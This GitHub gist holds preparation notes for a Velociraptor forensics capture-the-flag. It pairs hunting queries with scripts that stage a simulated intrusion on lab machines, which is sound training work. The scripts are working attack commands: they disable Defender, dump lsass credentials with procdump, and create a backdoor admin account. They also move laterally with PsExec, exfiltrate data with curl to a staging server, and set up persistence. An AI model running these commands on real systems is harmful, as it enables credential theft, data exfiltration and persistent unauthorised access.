Skip to content

Instantly share code, notes, and snippets.

@scudette
Created September 27, 2023 12:42
Show Gist options
  • Save scudette/4a40cee585691a4522814980011699ee to your computer and use it in GitHub Desktop.
Save scudette/4a40cee585691a4522814980011699ee to your computer and use it in GitHub Desktop.
Velociraptor CTF Preparations

Scoping the environment

What users are logging into machines?

Windows.Sys.AllUsers

SELECT Name, UUID, Mtime, count()
FROM source(artifact="Windows.Sys.AllUsers")
WHERE Name
GROUP BY Name

May or may not be suspicious.

Are any of the users recently created?

Use the VFS to navigate to the user's home directory - note the birth time.

User home directory creation time is a good proxy for when the user first logged in.

Hunt for FileFinder - post process by sorting the birth time of the home directory.

Let's talk about file finder as a general purpose tool for fetching file metadata and data.

Let's look at local users created in the SAM

Get users who logged in recently.

SELECT ParsedF.LastLoginDate AS LastLoginDate, ParsedV, ClientId, Fqdn
FROM source(artifact="Windows.Forensics.SAM")
WHERE LastLoginDate > "2023-01-01"

The winsupport user seems suspicious... No one knows about it....

RDP Auth

Collect RDP authentications from the event logs Windows.EventLogs.RDPAuth

SELECT EventTime, Computer, SourceIP, UserName, Description, ClientId , count() AS Count
FROM source(artifact="Windows.EventLogs.RDPAuth")
WHERE Description =~ "LOGON_SUCCESSFUL"
GROUP BY UserName, Description, ClientId

Get timeline of login - what is the blast radius?

Which machines are affected?

Get earliest use of winsupport:

SELECT * FROM source(artifact="Windows.EventLogs.RDPAuth")
WHERE UserName =~ "winsupport" and Description =~ "SUCCESS"
ORDER BY EventTime

How is RDP allowed?

Check local firewall rules Windows.Sys.FirewallRules for RDP access?

Lets look at created services

Use the artifact Windows.EventLogs.ServiceCreationComspec to search for created services - update the service regex to .

Check other methods of logging in

Look for all login sessions Exchange.Windows.EventLogs.LogonSessions

See this for logon types:

https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4624

Type 3: Network (i.e. connection to shared folder on this computer from elsewhere on network)

What happened on the machine around that time?

Hayabusa + Sigma

Hayabusa is a "SIEM in a box" - tool for running many Sigma rules over the event logs on the end point.

A lot of false positives so it is useful for a quick overview before digging deeper.

SELECT *, count()
FROM source(artifact="Exchange.Windows.EventLogs.Hayabusa/Results")
GROUP BY RuleTitle

Order by level to show critical first.

Lots of interesting activities!

  • Look for winsupport login events
  • Account creation alerts
  • Service creation - psexec

Search for ADS

Mark of the web can sometimes give us a hint of where a file came from Windows.NTFS.ADSHunter

In this demo we use C:\Users\ to limit the time taken.

What files appeared on the endpoint? USN Journal

The USN Journal records file activity on the endpoint.

Limit by the earliest time

  • Look for interaction with powershell files - see new powershell file created

  • Look for psexec files...

  • Look for prefetch file

  • Look for executable files being created - find notsuspicious.exe created in Windows directory - very suspicious!

  • search for file with a .key extension - typical tool mark of psexec. This also tells us where the attacker came from.

The USN Journal allows us to look back in time

SELECT * FROM source(artifact="Windows.Forensics.Usn")
WHERE OSPath =~ "\\.exe$" AND Reason =~ "DELETE"

What executables were deleted? In the windows directory?

Look for powershell artifacts:

  • ISEAutosave
  • Powershell ReadLine

Examine the powershell activity - disabling firewall

Process execution

Prefetch timeline - see activity in prefetch

SQLite Hunting

We still don't know exactly what the winsupport user did?

SQLiteHunter parses many artifacts

  • browser artifacts - History downloads etc. Reveal the watering hole.

What else did the attacker do on the system?

Lets find evidence of the attacker interacting with the system.

  • RecentDocs
  • Lnk analysis

This confirms the attacker opened the documents to view them and potentially ex-filtrated them.

Look for new services T1543.003

Windows.System.Services

Closely inspect unsigned services.

SELECT Name, PathName, HashServiceExe, CertinfoServiceExe
FROM source(artifact="Windows.System.Services")
WHERE NOT CertinfoServiceExe.Trusted

Services with low frequency

SELECT Name, PathName, HashServiceExe, CertinfoServiceExe, count() AS Count
FROM source(artifact="Windows.System.Services")
GROUP BY HashServiceExe

Scheduled tasks

SELECT *, count() AS Count
FROM source(artifact="Windows.System.TaskScheduler/Analysis")
GROUP BY Command

Create Windows VMs for both victims

I like to use xfreerdp to access the machine because it is easy to script it.

Main victim machine: Assume IP is 172.31.14.220 $attacker_machine_ip Assume Public IP is $public_ip_of_victim

xfreerdp /u:administrator /v:$public_ip_of_victim /p:'password_of_vm' -decorations /dynamic-resolution -compression -themes /f  /audio-mode:1  /t:MainVictim

Attacker Machine Assume IP is 172.31.7.131 $attacker_machine_ip Assume Public IP is $public_ip_of_attacker

xfreerdp /u:administrator /v:$public_ip_of_attacker /p:'password_of_vm' -decorations /dynamic-resolution -compression -themes /f  /audio-mode:1  /t:MainVictim

Preparing the attacker VM

  1. Create a Linux machine will be used for staging and watering hole.

Assume IP is 172.31.7.131

SSH to it for the following parts

Preparing some documents

#!/bin/bash

version=0.1
echo Setting up lab $version documents!

#sudo apt-get install zip -y
#cd ~
mkdir ProjectX

# download files for staging
wget https://github.com/Velocidex/velociraptor-docs/archive/refs/heads/master.zip -O ProjectX/project-docs.zip
wget https://github.com/Velocidex/velociraptor/archive/refs/heads/master.zip -O ProjectX/sourcecode.zip
wget https://file-examples.com/storage/fe235481fb64f1ca49a92b5/2017/02/file-sample_100kB.doc -O ProjectX/financials.doc
wget https://file-examples.com/storage/fe235481fb64f1ca49a92b5/2017/02/file-sample_1MB.doc -O ProjectX/employee_stats.doc
wget https://file-examples.com/storage/fe235481fb64f1ca49a92b5/2017/02/file-sample_100kB.docx -O ProjectX/competative_review.docx
wget https://file-examples.com/storage/fe235481fb64f1ca49a92b5/2017/02/file-sample_500kB.docx -O ProjectX/plans_for_world_domination.docx
wget https://file-examples.com/storage/fe235481fb64f1ca49a92b5/2017/02/file-sample_1MB.docx -O ProjectX/grocery_list.docx
wget https://images.examples.com/wp-content/uploads/2018/07/non-disclosure-template-example.docx.zip -O ProjectX/non_disclosure.zip
echo "All my passwords are VelociraptorRules!" > ProjectX/passwords.txt

zip -r projectx.zip ProjectX/

Preparing launch server

#!/bin/bash

echo Setting up lab

mkdir -p stage

# download files for staging
wget -c https://live.sysinternals.com/sdelete64.exe -O stage/sd.exe
wget -c https://live.sysinternals.com/procdump64.exe -O stage/pd.exe
wget -c https://live.sysinternals.com/PsExec64.exe -O stage/PsExec64.exe
wget -c https://www.7-zip.org/a/7z2301-x64.exe -O stage/7z.exe

echo "" > stage/rdp.cmd
echo reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f >> stage/rdp.cmd
echo netsh advfirewall firewall set rule group=\"remote desktop\" new enable=Yes >> stage/rdp.cmd
echo net user winsupport P@ssword /add >> stage/rdp.cmd
echo net localgroup Administrators winsupport /add >> stage/rdp.cmd

echo "" > stage/dump_cred.ps1
echo " Set-MpPreference -DisableBehaviorMonitoring  \$TRUE -DisableIOAVProtection  \$TRUE -DisableScriptScanning  \$TRUE -DisableRealtimeMonitoring  \$TRUE -DisableArchiveScanning  \$TRUE -DisableCatchupFullScan   \$TRUE -DisableCatchupQuickScan   \$TRUE -DisableRemovableDriveScanning  \$TRUE -DisableRestorePoint  \$TRUE -DisableScanningMappedNetworkDrivesForFullScan  \$TRUE -DisableBlockAtFirstSeen  \$TRUE -DisableGradualRelease  \$TRUE -DisableRdpParsing \$True " >> stage/dump_cred.ps1
#echo "Set-MpPreference -DisableBehaviorMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableRealtimeMonitoring $true -DisableArchiveScanning $true -DisableCatchupFullScan $true -DisableCatchupQuickScan $true -DisableRemovableDriveScanning $true -DisableRestorePoint $true -DisableScanningMappedNetworkDrivesForFullScan $true -DisableBlockAtFirstSeen $true -DisableGradualRelease $true -DisableTamperProtection $True -DisableRdpParsing $True" >> stage/dump_cred.ps1
echo "cd ~\\Downloads" >> stage/dump_cred.ps1
echo ".\\pd.exe -accepteula -r -ma lsass.exe c:\\Users\\Public\\1" >> stage/dump_cred.ps1
echo "" >> stage/dump_cred.ps1
echo "Compress-Archive  -Path C:\\Users\\Administrator\\Desktop\\ProjectX,C:\\Users\\Public\\1.dmp -DestinationPath C:\\Users\\Public\\data.zip -Force" >> stage/dump_cred.ps1
echo "Remove-Item c:\\Users\\Public\\1.dmp" >> stage/dump_cred.ps1
echo "dir C:\\Users\\Public" >> stage/dump_cred.ps1


mv projectx.zip  stage/projectx.zip

cd stage
(python3 -m http.server 1314) &

Preparing the Velociraptor server.

  1. Install server as per instructions.

Assume hostname is ctf.velocidex-training.com

  1. Create new org
  2. build an MSI for it.
  3. Download MSI and Upload to data store by selecting the Upgrade artifact and adding the MSI manually. This will produce a public serve URL which you can share.

on all Windows machines install Velociraptor (XXXX is from the public share URL)

curl.exe https://ctf.velocidex-training.com/public/XXXX -o velo.msi
msiexec /i velo.msi
  1. Add the following client monitoring
  • ETW.FileCreation
  • TrackProcesses with sysmon.

Prepare windows machine - Main Victim

This is the Windows Machine which will be breached.

Assume IP is 172.31.14.220

# Enable Prefetch
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters" /v EnablePrefetcher /t REG_DWORD /d 3 /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Prefetcher" /v MaxPrefetchFiles /t REG_DWORD /d 8192 /f

powershell /c "Enable-MMAgent -OperationAPI"

# in powershell use these to create some interesting documents on the desktop.
curl http://172.31.7.131:1314/projectx.zip  -OutFile c:\Users\Administrator\Desktop\demo.zip
Expand-Archive c:\Users\Administrator\Desktop\demo.zip -DestinationPath c:\Users\Administrator\Desktop\
Remove-Item c:\Users\Administrator\Desktop\demo.zip -Force

# Enable psexec access for this demo
Set-NetFirewallRule -DisplayGroup "File And Printer Sharing" -Enabled True -Profile Public

Prepare windows machine - Attack Victim

This VM is also a windows machine which will serve as patient 0. This is the initial attack vector used by the attacker to laterally move to the Main Victim.

For this demonstration we assume the attacker has local admin on Attack Victim usually via Phishing or other vector. We also assume the attacker has credentials on the Main Victim machine so they can laterally move to it (e.g. via dumping credentials from memory or brute forcing).

# Enable Prefetch
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters" /v EnablePrefetcher /t REG_DWORD /d 3 /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Prefetcher" /v MaxPrefetchFiles /t REG_DWORD /d 8192 /f

powershell /c "Enable-MMAgent -OperationAPI"

curl.exe https://live.sysinternals.com/PsExec64.exe -o c:\Users\Administrator\Desktop\psexec64.exe
curl.exe http://172.31.7.131:1314/rdp.cmd -o c:\Users\Administrator\Desktop\rdp.cmd

# Below IP is for Victim - Creates new user and enable RDP access.
# You will be asked for password for the administrator account on
# MainVictim, which we assume the attacker has cracked.
c:\Users\Administrator\Desktop\psexec64.exe \\172.31.14.220 -u administrator -r notsuspicious -s -c c:\Users\Administrator\Desktop\rdp.cmd  -accepteula

Log in with the new user credentials and RDP

The new account is created with the credentials in rdp.cmd winsupport/P@ssword . It is probably a good idea to change the password but do not use special chars like $ or quotes because they make it harder to quote in powershell.

#!/bin/bash

xfreerdp /u:winsupport /v:$public_ip_of_victim /p:'P@ssword' -decorations /dynamic-resolution -compression -themes /f  /audio-mode:1 /t:WinSupport

Start a web browser and navigate to google: Search for "How to hack!"

Navigate to the staging server: http://172.31.7.131:1314/

Download pd.exe and dump_creds.ps1

Open explorer and navigate to c:\users\administrator\desktop

Open some documents (for recent files etc)

Capturing credentials

  • Open an ISE as administrator
  • Start a new file . Paste the following into it
Set-MpPreference -DisableBehaviorMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableRealtimeMonitoring $true -DisableArchiveScanning $true -DisableCatchupFullScan $true -DisableCatchupQuickScan $true -DisableRemovableDriveScanning $true -DisableRestorePoint $true -DisableScanningMappedNetworkDrivesForFullScan $true -DisableBlockAtFirstSeen $true -DisableGradualRelease $true -DisableRdpParsing $True

cd ~\Downloads

.\pd.exe -accepteula -r -ma lsass.exe c:\Users\Public\1

Compress-Archive  -Path C:\Users\Administrator\Desktop\ProjectX,C:\Users\Public\1.dmp -DestinationPath C:\Users\Public\data.zip -Force

Remove-Item c:\Users\Public\1.dmp

dir C:\Users\Public

curl.exe -F 'file=@C:\Users\Public\data.zip' http://172.31.7.131:1314/upload

NOTE: leave ISE open or hard close so the auto-save stays available as a forensic artifact.

Install persistence

Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile AtomicService.exe
PS C:\Users\winsupport\Downloads> sc.exe create NothingToSeeService binPath= .\AtomicService.exe start=auto  type=own


$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment